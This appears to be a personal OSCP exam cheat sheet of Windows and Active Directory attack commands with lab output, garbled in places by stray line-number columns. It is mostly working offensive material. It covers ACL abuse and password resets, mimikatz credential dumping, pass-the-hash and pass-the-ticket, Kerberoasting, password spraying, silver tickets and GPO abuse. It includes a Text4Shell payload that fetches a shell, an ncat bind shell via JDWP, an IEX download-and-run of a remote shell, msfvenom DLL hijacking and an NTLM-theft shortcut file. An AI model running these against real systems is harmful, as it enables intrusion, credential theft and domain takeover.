.\PsLoggedon.exe \\files04
PsLoggedon v1.35 - See who's logged on
Copyright (C) 2000-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Users logged on locally:
 <unknown time> CORP\jeff
Unable to query resource logons

# When a different user is logged on and administrator access is available
# The main action is to analyze LSASS

1
2
3
4
5
6
7


# Enumerate SPNs in the domain
setspn -L iis_service

# Import PowerView
# Gather information about service accounts
Get-NetUser -SPN | select samaccountname,serviceprincipalname
nslookup.exe web04.corp.com

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160


# Enumerate object permissions in the domain
# Reference permission list
GenericAll: Full permissions on object
GenericWrite: Edit certain attributes on the object
WriteOwner: Change ownership of the object
WriteDACL: Edit ACE's applied to object
AllExtendedRights: Change password, reset password, etc.
ForceChangePassword: Password change for object
Self (Self-Membership): Add ourselves to for example a group

GenericAll (Full Control):
Highest permission level
Provides full control over the object
Allows any operation: modify attributes, reset passwords, add to groups, and more
Example: GenericAll over a user allows direct password reset

GenericWrite (Write Permission):
Allows modification of most object attributes
Does not allow modification of sensitive attributes such as passwords
Example: modify a user's scriptPath attribute to achieve code execution

WriteOwner (Change Owner):
Allows changing the object's owner
Changing ownership to yourself can lead to full control
Example: become the owner of a group and then control it

WriteDACL (Modify Access Control):
Allows modification of the object's access-control list
Allows permissions to be added or removed
Example: grant yourself GenericAll

AllExtendedRights (Extended Rights):
Includes special operations such as password resets
Does not include ordinary attribute-modification permissions
Example: reset a user's password

ForceChangePassword (Force Password Change):
A permission specifically for changing passwords
Does not require the original password
Example: directly reset the target user's password

Self (Self-Membership):
Allows adding yourself to a group
Only yourself can be added
Example: add yourself to a privileged group

# Official reference
# https://learn.microsoft.com/en-us/windows/win32/secauthz/access-rights-and-access-masks

Simple usage methods
Using GenericAll:
powershellCopy# If GenericAll is held over user UserA
net user UserA NewPass123! /domain # Change the password directly

Using GenericWrite:
powershellCopy# Modify the user's script path to achieve code execution
Set-ADUser -Identity UserA -ScriptPath "\\attacker\share\evil.ps1"

Using WriteOwner:
powershellCopy# First, change the owner to yourself
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity YourAccount
# Further operations are then possible

Using WriteDACL:
powershellCopy# Grant yourself full permissions
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -Rights All

Using ForceChangePassword:
powershellCopy# Change the password directly
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
Using Self (Self-Membership):

powershellCopy# Add yourself to the group
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'YourAccount'

# The above covers usage; below, query information and use the results for privilege escalation
# View which ACEs apply to the current user
PS C:\Tools> Get-ObjectAcl -Identity stephanie

...
ObjectDN : CN=stephanie,CN=Users,DC=corp,DC=com
ObjectSID : S-1-5-21-1987370270-658905905-1781884369-1104
ActiveDirectoryRights : ReadProperty
ObjectAceFlags : ObjectAceTypePresent
ObjectAceType : 4c164200-20c0-11d0-a768-00aa006e0529
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength : 56
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 16
SecurityIdentifier : S-1-5-21-1987370270-658905905-1781884369-553
AceType : AccessAllowedObject
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None

# In this example, the current SID is S-1-5-21-1987370270-658905905-1781884369-1104
# S-1-5-21-1987370270-658905905-1781884369-553 grants us ReadProperty permission
# Next, identify the owner of this SID
PS C:\Tools> Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104
CORP\stephanie
# This shows which permissions SecurityIdentifier has over ObjectSID

# The example below queries who has full control over the "Management Department" group
PS C:\Tools> Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

SecurityIdentifier ActiveDirectoryRights
------------------ ---------------------
S-1-5-21-1987370270-658905905-1781884369-512 GenericAll
S-1-5-21-1987370270-658905905-1781884369-1104 GenericAll
S-1-5-32-548 GenericAll
S-1-5-18 GenericAll
S-1-5-21-1987370270-658905905-1781884369-519 GenericAll

PS C:\Tools> "S-1-5-21-1987370270-658905905-1781884369-512","S-1-5-21-1987370270-658905905-1781884369-1104","S-1-5-32-548","S-1-5-18","S-1-5-21-1987370270-658905905-1781884369-519" | Convert-SidToName
CORP\Domain Admins
CORP\stephanie
BUILTIN\Account Operators
Local System
CORP\Enterprise Admins

# The output above shows that stephanie, the current user, has full control over this group
# This allows adding yourself or another user to the group and using the group's permissions
PS C:\Tools> net group "Management Department" stephanie /add /domain
The request will be processed at a domain controller for domain corp.com.

The command completed successfully.
# The current user was added above; query permissions to confirm membership
PS C:\Tools> Get-NetGroup "Management Department" | select member

member
------
{CN=jen,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}

PS C:\Tools> net group "Management Department" stephanie /del /domain
The request will be processed at a domain controller for domain corp.com.

The command completed successfully.

# View group permissions
Get-ObjectAcl -Identity "Management Department"

# Verify these items, then remove them
PS C:\Tools> Get-NetGroup "Management Department" | select member
member
------
CN=jen,CN=Users,DC=corp,DC=com

PS C:\Tools> net group "Management Department" stephanie /del /domain
The request will be processed at a domain controller for domain corp.com.
The command completed successfully.

Use PowerView again to verify that jen is the group's only member:
PS C:\Tools> Get-NetGroup "Management Department" | select member
member
------
CN=jen,CN=Users,DC=corp,DC=com

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


Import PowerView again

PS C:\Tools> Find-DomainShare

Name Type Remark ComputerName
---- ---- ------ ------------
ADMIN$ 2147483648 Remote Admin DC1.corp.com
C$ 2147483648 Default share DC1.corp.com
IPC$ 2147483651 Remote IPC DC1.corp.com
NETLOGON 0 Logon server share DC1.corp.com
SYSVOL 0 Logon server share DC1.corp.com
ADMIN$ 2147483648 Remote Admin web04.corp.com
backup 0 web04.corp.com
C$ 2147483648 Default share web04.corp.com
IPC$ 2147483651 Remote IPC web04.corp.com
ADMIN$ 2147483648 Remote Admin FILES04.corp.com
C 0 FILES04.corp.com
C$ 2147483648 Default share FILES04.corp.com
docshare 0 Documentation purposes FILES04.corp.com
IPC$ 2147483651 Remote IPC FILES04.corp.com
Tools 0 FILES04.corp.com
Users 0 FILES04.corp.com
Windows 0 FILES04.corp.com
ADMIN$ 2147483648 Remote Admin client74.corp.com
C$ 2147483648 Default share client74.corp.com
IPC$ 2147483651 Remote IPC client74.corp.com
ADMIN$ 2147483648 Remote Admin client75.corp.com
C$ 2147483648 Default share client75.corp.com
IPC$ 2147483651 Remote IPC client75.corp.com
sharing 0 client75.corp.com

This shows many accessible SMB directories, but does not indicate read or write access
# Then perform the classic SYSVOL XML-file check
# This provides a convenient one-line command without the usual extra steps
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"

# Next, inspect shares for non-default content, for example
docshare

1
2
3
4


C:\Tools\Spray-Passwords.ps1
# It identifies domain users automatically and supports a single password or wordlist for brute forcing
.\Spray-Passwords.ps1 -Pass Nexus123! -Admin
.\Spray-Passwords.ps1 -File 1.txt -Admin

89.Rubeus

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# This failed every time in the OSCP lab, but it is still useful enough to note
# Transfer it to the target machine
# Perform AS-REP Roasting in one step, then use hashcat
.\Rubeus.exe asreproast /nowrap

# Find service-account tickets in one step, similar to GetUserSPNs
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

# Check the target service's SPN when generating a ticket
setspn -L username

90.Lateral Movement in AD (Some Great Ideas from OSCP)

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104


mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords

...
Authentication Id : 0 ; 1142030 (00000000:00116d0e)
Session : Interactive from 0
User Name : jen
Domain : CORP
Logon Server : DC1
Logon Time : 2/27/2023 7:43:20 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1124
 msv :
 [00000003] Primary
 * Username : jen
 * Domain : CORP
 * NTLM : 369def79d8372408bf6e93364cc93075
 * SHA1 : faf35992ad0df4fc418af543e5f4cb08210830d4
 * DPAPI : ed6686fedb60840cd49b5286a7c08fa4
 tspkg :
 wdigest :
 * Username : jen
 * Domain : CORP
 * Password : (null)
 kerberos :
 * Username : jen
 * Domain : CORP.COM
 * Password : (null)
 ssp :
 credman :
...

mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
user : jen
domain : corp.com
program : powershell
impers. : no
NTLM : 369def79d8372408bf6e93364cc93075
 | PID 8716
 | TID 8348
 | LSA Process is now R/W
 | LUID 0 ; 16534348 (00000000:00fc4b4c)
 \_ msv1_0 - data copy @ 000001F3D5C69330 : OK !
 \_ kerberos - data copy @ 000001F3D5D366C8
 \_ des_cbc_md4 -> null
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ *Password replace @ 000001F3D5C63B68 (32) -> null

PS C:\Windows\system32> klist
Current LogonId is 0:0x1583ae

Cached Tickets: (0)

The operations above open a new shell with PTH but create no tickets
# The operation below generates krbtgt and cifs tickets, obtaining a Kerberos ticket through HTLM
net use \\files04

PS C:\Windows\system32> klist
Current LogonId is 0:0x17239e
Cached Tickets: (2)
#0> Client: jen @ CORP.COM
 Server: krbtgt/CORP.COM @ CORP.COM
 KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
 Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
 Start Time: 2/27/2023 5:27:28 (local)
 End Time: 2/27/2023 15:27:28 (local)
 Renew Time: 3/6/2023 5:27:28 (local)
 Session Key Type: RSADSI RC4-HMAC(NT)
 Cache Flags: 0x1 -> PRIMARY
 Kdc Called: DC1.corp.com

#1> Client: jen @ CORP.COM
 Server: cifs/files04 @ CORP.COM
 KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
 Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
 Start Time: 2/27/2023 5:27:28 (local)
 End Time: 2/27/2023 15:27:28 (local)
 Renew Time: 3/6/2023 5:27:28 (local)
 Session Key Type: AES-256-CTS-HMAC-SHA1-96
 Cache Flags: 0
 Kdc Called: DC1.corp.com

# With a cifs ticket, PTH can be performed directly as shown below
# This may be more covert because it converts the HTLM hash into a Kerberos TGT
PS C:\Windows\system32> cd C:\tools\SysinternalsSuite\
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\files04 cmd

PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.20348.169]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
corp\jen

C:\Windows\system32>hostname
FILES04

Passing Tickets

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85


This was covered earlier but is noted again here

PS C:\Windows\system32> whoami
corp\jen
PS C:\Windows\system32> ls \\web04\backup
ls : Access to the path '\\web04\backup' is denied.
At line:1 char:1
+ ls \\web04\backup
+ ~~~~~~~~~~~~~~~~~
 + CategoryInfo : PermissionDenied: (\\web04\backup:String) [Get-ChildItem], UnauthorizedAccessException
 + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

mimikatz #privilege::debug
Privilege '20' OK
mimikatz #sekurlsa::tickets /export

Authentication Id : 0 ; 2037286 (00000000:001f1626)
Session : Batch from 0
User Name : dave
Domain : CORP
Logon Server : DC1
Logon Time : 9/14/2022 6:24:17 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1103

 * Username : dave
 * Domain : CORP.COM
 * Password : (null)

 Group 0 - Ticket Granting Service

 Group 1 - Client Ticket ?

 Group 2 - Ticket Granting Ticket
 [00000000]
 Start/End/MaxRenew: 9/14/2022 6:24:17 AM ; 9/14/2022 4:24:17 PM ; 9/21/2022 6:24:17 AM
 Service Name (02) : krbtgt ; CORP.COM ; @ CORP.COM
 Target Name (02) : krbtgt ; CORP ; @ CORP.COM
 Client Name (01) : dave ; @ CORP.COM ( CORP )
 Flags 40c10000 : name_canonicalize ; initial ; renewable ; forwardable ;
 Session Key : 0x00000012 - aes256_hmac
 f0259e075fa30e8476836936647cdabc719fe245ba29d4b60528f04196745fe6
 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...]
 * Saved to file [0;1f1626]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi !
...

PS C:\Tools> dir *.kirbi
 Directory: C:\Tools
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/14/2022 6:24 AM 1561 [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;12bd0]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c6860]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c6860]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c7bcc]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c7bcc]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c933d]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c933d]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1ca6c2]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1ca6c2]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
...

mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
* File: '[0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi': OK

PS C:\Tools> klist
Current LogonId is 0:0x13bca7
Cached Tickets: (1)
#0> Client: dave @ CORP.COM
 Server: cifs/web04 @ CORP.COM
 KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
 Ticket Flags 0x40810000 -> forwardable renewable name_canonicalize
 Start Time: 9/14/2022 5:31:32 (local)
 End Time: 9/14/2022 15:31:13 (local)
 Renew Time: 9/21/2022 5:31:13 (local)
 Session Key Type: AES-256-CTS-HMAC-SHA1-96
 Cache Flags: 0
 Kdc Called:

PS C:\Tools> ls \\web04\backup
 Directory: \\web04\backup
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/13/2022 2:52 AM 0 backup_schemata.txt

# Export the in-memory ticket and then import it

91.FTP Active Mode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


Switch to active mode with:
quote pasv
Or force active mode with -A before connecting:
ftp -A 192.168.172.145

Disable passive mode with the passive command:
ftp> passive
Passive mode: off

If that still fails, set an environment variable before connecting:
Copyexport FTP_PASSIVE=0
ftp 192.168.172.145

Use another FTP client such as lftp, which offers clearer active/passive mode controls:
lftp -u anonymous 192.168.172.145
lftp> set ftp:passive-mode off

Use ls -la or ls -l to view a detailed listing:
ftp> ls -la

Try switching to binary mode before listing the directory:
ftp> binary
ftp> dir

Use quote LIST to send the raw FTP command directly:
ftp> quote LIST

Try using mls to save the directory listing to a local file:
ftp> mls - listing.txt

Try accessing common default directories on Windows FTP servers:
ftp> cd pub
Or
ftp> cd upload

If the exact filename is known, try retrieving it directly:
ftp> get filename.txt

You can also try switching to the parent directory:
ftp> cdup

92.SSH Tunneling

1
2
3
4
5
6
7
8


ssh -R 443:192.168.45.184:443 -R 80:192.168.45.184:80 web_svc@192.168.139.147

# -L forwards a target-machine port locally; -R forwards a local port to a port opened on the target machine
ssh -L 443:192.168.45.184:443 -L 80:192.168.45.184:80 web_svc@192.168.139.147

# Build a tunnel to carry traffic
ssh -D 1080 -N Administrator@192.168.125.153
Use proxychains on local port 1080

93.snmpwalk

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


snmpwalk -v1 -c public IP

snmpwalk -v2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v 2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendOutputFull

# The command above queries command names, for example
# RESET is the command
NET-SNMP-EXTEND-MIB::nsExtendCommand."RESET" = STRING: ./home/john/RESET_PASSWD

snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutputFull.\"COMMAND_NAME\"

# Common extended-MIB queries
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendConfigTable
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput1Table
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput2Table

94.CVE-2022–42889 (Text4Shell)

https://meyerweb.com/eric/tools/dencoder/ # URL encoding website

1
2


${script:javascript:java.lang.Runtime.getRuntime().exec('command')}
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27wget%20192.168.45.184%2Fcmdjsp.jsp%20-O%20%2Ftmp%2Fshell%27)%7D

95.Java Debug Wire Protocol (JDWP) - Remote Code Execution

https://www.exploit-db.com/exploits/46501

https://github.com/IOActive/jdwp-shellifier/

1
2
3
4


$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"

Most importantly, trigger the accept() event. If Java listens on a port, connect to it actively with nc.
This is integrated into the CMD exploit, but the port still requires attention.

96.Windows Local Privilege Escalation (Use This for a More Thorough Check)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


# Download PowerUp
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

# On the target machine
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile

# Or perform a comprehensive check
Invoke-AllChecks

Invoke-AllChecks checks all potential service privilege-escalation vectors, including:
Modifiable service executables
Unquoted service paths
Misconfigured service permissions, and more

This avoids manually searching for escalation vectors such as modifiable service executables

97.chisel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


# This proxy is less convenient than ligolo-ng, but has a feature ligolo-ng lacks
# It can forward local ports, while ligolo-ng cannot expose local services
# I normally use frp, but tools such as ftp, lcx, and ew do not work in OSCP labs
# The reason is unclear, and chisel sometimes also fails in OSCP labs
# Chisel also failed to expose local ports; only an SSH tunnel worked
# It is still worth noting because local-port forwarding is important

# Start the server
./chisel server -p 8000 --reverse
# Reverse port forwarding (forward target port 1433 to the attacker machine)
chisel.exe client ATTACKER_IP:8000 R:1433:127.0.0.1:1433

# Attacker machine
./chisel server -p 8000 --reverse
# Target machine
chisel.exe client ATTACKER_IP:8000 R:ATTACKER_PORT:127.0.0.1:TARGET_PORT

# The above exposes a target-local port; below, a Kali port is forwarded to Windows
# Use this with a ligolo-ng tunnel when an internal host cannot reach Kali and may access only internal resources
# Kali attacker machine
./chisel server -p 8000 --reverse
# Target machine
chisel.exe client KALI_IP:8000 R:80:KALI_IP:80

Forward a target-machine port to Kali:
bashCopychisel.exe client KALI:8000 R:1433:127.0.0.1:1433
 ↑
 Points to the target machine locally

Forward a Kali port to the target machine:
bashCopychisel.exe client KALI:8000 R:80:KALI_IP:80
 ↑
 Points to Kali

98.Extracting Archives from the Windows Command Line

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


Use the built-in expand command:
expand .\nmap.zip -F:* C:\programdata\test

Use PowerShell:
Expand-Archive -Path c:\source\archive.zip -DestinationPath c:\destination

If the destination directory exists, add -Force:
powershellCopyExpand-Archive -Path .\nmap.zip -DestinationPath C:\programdata\test -Force

Use tar (Windows 10 or later):
tar -xf nmap.zip

# Extract
Expand-Archive nmap.zip

99.Unconventional Ideas

1
2
3
4
5
6


# Quick scan
nmap -Pn -n 192.168.207.187 -sC -sV -p- --open
# Remember what can be uploaded through file-upload functionality
echo "AddType application/x-httpd-php .dork" > .htaccess
# Available when a service account has lost all permissions
https://itm4n.github.io/localservice-privileges/?source=post_page

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


# Configure the required privilege list
$Privs = @(
 "SeAssignPrimaryTokenPrivilege",
 "SeAuditPrivilege",
 "SeChangeNotifyPrivilege",
 "SeCreateGlobalPrivilege",
 "SeImpersonatePrivilege",
 "SeIncreaseQuotaPrivilege",
 "SeShutdownPrivilege",
 "SeUndockPrivilege",
 "SeIncreaseWorkingSetPrivilege",
 "SeTimeZonePrivilege"
)
# Create the task principal
$TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs
# Create the command to execute (reverse-shell example)
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep Bypass -Command `". C:\path\to\shell.ps1; powercat -l -p 7003 -ep`""
# Register and start the task
Register-ScheduledTask -Action $TaskAction -TaskName "PrivEsc" -Principal $TaskPrincipal
Start-ScheduledTask -TaskName "PrivEsc"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


# On a domain host, remember to use PowerShell scripts to find SPNs and other information locally
https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1
## 1. Import the script
Import-Module .\Get-SPN.ps1
# 2. Find SPNs
Get-SPN -type service
# 3. Request tickets
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DC.access.offsec"
# 4. Export tickets
Invoke-Mimikatz -Command '"kerberos::list /export"'
# Or export with a PowerShell command
klist.exe purge
klist.exe tgt
# 5. Crack with hashcat
hashcat -m 13100 ticket.kirbi wordlist.txt

1
2
3
4


# Use domain-user permissions to request a TGS for any SPN, mainly when no credentials are available on a domain controller or member host
powershell iwr http://192.168.45.154/Invoke-Kerberoast.ps1 -outfile Invoke-Kerberoast.ps1
.\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat HashCat|Out-File -Encoding ASCII hash.txt

1
2
3
4
5
6
7
8
9


# A lateral-movement tool for direct login with domain credentials
https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"
Invoke-RunasCs -Username user -Password pass -Command "powershell IEX(New-Object Net.WebClient).DownloadString('http://x.x.x.x/shell.ps1')"

# Enter-PSSession is built in and also works
$SecPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain\user', $SecPassword)
Enter-PSSession -ComputerName target -Credential $Cred

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


whoami /priv
# The output above shows privileges, including disabled ones that may be enabled
# Enable privileges
$TokenPriv = Get-TokenPrivilege
Enable-TokenPrivilege -TokenPrivilege $TokenPriv -Privilege SeManageVolumePrivilege
# Verify that they are enabled
whoami /priv

# The automated method below can enable all of them directly
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html
.\EnableAllTokenPrivs.ps1
whoami /priv

Token reference
https://github.com/gtworek/Priv2Admin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


SeMachineAccountPrivilege and SeManageVolumePrivilege are covered in this section
https://medium.com/@Dpsypher/proving-grounds-practice-access-b95d3146cfe9
https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public
# 1. Enable the privilege
Enable-TokenPrivilege -Privilege SeManageVolumePrivilege
# 2. Modify C: drive permissions to gain write access
.\SeManageVolumeExploit.exe
# 3. DLL hijacking
# - systeminfo loads tzres.dll
# - Write a malicious tzres.dll to C:\windows\system32\wbem
# - Generate a DLL reverse shell:
msfvenom -p windows/x64/shell_reverse_tcp [...] -f dll -o tzres.dll
# 4. Run systeminfo to trigger DLL loading and obtain SYSTEM privileges
tzres.dll is a system component loaded when systeminfo runs

1
2
3
4
5
6


# 1. If a service account ends with $ and the note mentions gMSA, it is a managed service account
# 2. Use GMSAPasswordReader to read the hash
.\gmsapasswordreader.exe --accountname svc_apache
.\\gmsapasswordreader.exe --accountname svc_apache
# 3. Obtain the rc4_hmac hash for login
evil-winrm -i IP -u svc_apache$ -H 526C435B8E4CF11F447D6EF7152665BB

1
2
3
4
5
6
7
8


SeRestore privilege
# The method below also works
https://r4j3sh.medium.com/heist-pg-practice-write-up-fbfd6b90b02a

# A simpler method that executes a shell directly
https://github.com/dxnboy/redteam/blob/master/SeRestoreAbuse.exe
SeRestoreAbuse.exe C:\Windows\System32\utilman.exe
SeRestoreAbuse.exe "C:\Windows\System32\cmd.exe" "C:\Windows\System32\utilman.exe"

1
2
3
4
5
6
7
8


# For SMB phishing, listen with Responder when authentication begins to capture HTLM
# https://github.com/Greenwolf/ntlm_theft includes various methods

[InternetShortcut]
URL=Random_nonsense
WorkingDirectory=Flibertygibbit
IconFile=\\<YOUR tun0 IP>\%USERNAME%.icon
IconIndex=1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


GPO (Group Policy) privilege escalation

# Import PowerView
Import-Module .\PowerView.ps1

# Find Default Domain Policy information and its GUID
Get-GPO -Name "Default Domain Policy"

Get-GPPermission -Guid <GUID> -TargetType User -TargetName <CURRENT_USER>
# Permission types may include:
# - GpoApply: Apply policy
# - GpoRead: Read policy
# - GpoEdit: Edit policy
# - GpoCustom: Custom permissions

.\SharpGPOAbuse.exe
--AddLocalAdmin # Add a local administrator
--UserAccount # Specify the user account to add
--GPOName # Specify the GPO to modify

# Other available arguments:
--AddComputerScript # Add a computer startup script
--AddUserScript # Add a user logon script
--AddUserTask # Add a scheduled task
--Command # Specify the command to execute

# Query permissions
Get-GPPermission -Guid 31b2f340-016d-11d2-945f-00c04fb984f9 -TargetType User -TargetName anirudh
https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master
# The project URL is above; exploitation is below
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName "Default Domain Policy"
gpupdate /force

.\SharpGPOAbuse.exe
--AddLocalAdmin # Action: add local-administrator privileges
--UserAccount anirudh # User to add: anirudh
--GPOName "Default Domain Policy" # GPO to modify: Default Domain Policy

gpupdate # Update Group Policy
/force # Force an immediate update without waiting for the default refresh interval

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


# An interesting use of a silver ticket
# MSSQL may run on the domain controller, and svc_mssql can authenticate directly with Kerberos as a service account
# A normal service account may be unable to enable xmdshell, so create a silver ticket
# MSSQL is already accessible and login succeeds
impacket-ticketer -nthash <HASH> -domain-sid <SID> -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator
impacket-mssqlclient -k nagoya.nagoya-industries.com
impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator

# PowerView
Get-DomainSID

# Native PowerShell
(Get-ADDomain).DomainSID.Value

1

Get-ADUser -Filter {SamAccountName -eq "svc_mssql"} -Properties ServicePrincipalNames

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


